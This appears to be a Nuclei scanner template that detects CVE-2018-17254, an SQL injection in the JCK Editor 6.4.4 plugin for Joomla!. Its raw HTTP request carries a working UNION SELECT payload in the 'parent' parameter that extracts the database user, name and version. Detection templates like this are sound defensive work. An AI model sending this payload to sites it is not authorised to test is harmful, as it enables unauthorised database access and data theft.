id: CVE-2018-17254 info: name: Joomla! JCK Editor SQL Injection author: Suman_Kar severity: critical description: The JCK Editor component 6.4.4 for Joomla! allows SQL Injection via the jtreelink/dialogs/links.php parent parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage. remediation: Update or remove the affected plugin. reference: - http://packetstormsecurity.com/files/161683/Joomla-JCK-Editor-6.4.4-SQL-Injection.html - https://www.exploit-db.com/exploits/45423/ - https://github.com/Nickguitar/Joomla-JCK-Editor-6.4.4-SQL-Injection - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-17254 cwe-id: CWE-89 epss-score: 0.81623 epss-percentile: 0.9836 cpe: cpe:2.3:a:arkextensions:jck_editor:6.4.4:*:*:*:*:joomla\!:*:* metadata: max-request: 1 vendor: arkextensions product: jck_editor framework: joomla\! tags: cve,cve2018,packetstorm,edb,joomla,sqli,arkextensions,joomla\! variables: num: "999999999" http: - raw: - | GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5({{num}})),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1 Host: {{Hostname}} Referer: {{BaseURL}} matchers: - type: word part: body words: - '{{md5(num)}}' # digest: 4a0a00473045022100fc614c7ce6111ad91c84bd0aa0ea41a890f1011589191cb9bf421297dcb368c0022014a093e4b3f0c08bb8ae522059822568b1460a62461658ab6f3f0239ec6a8e69:922c64590222798bb761d5b6d8e72950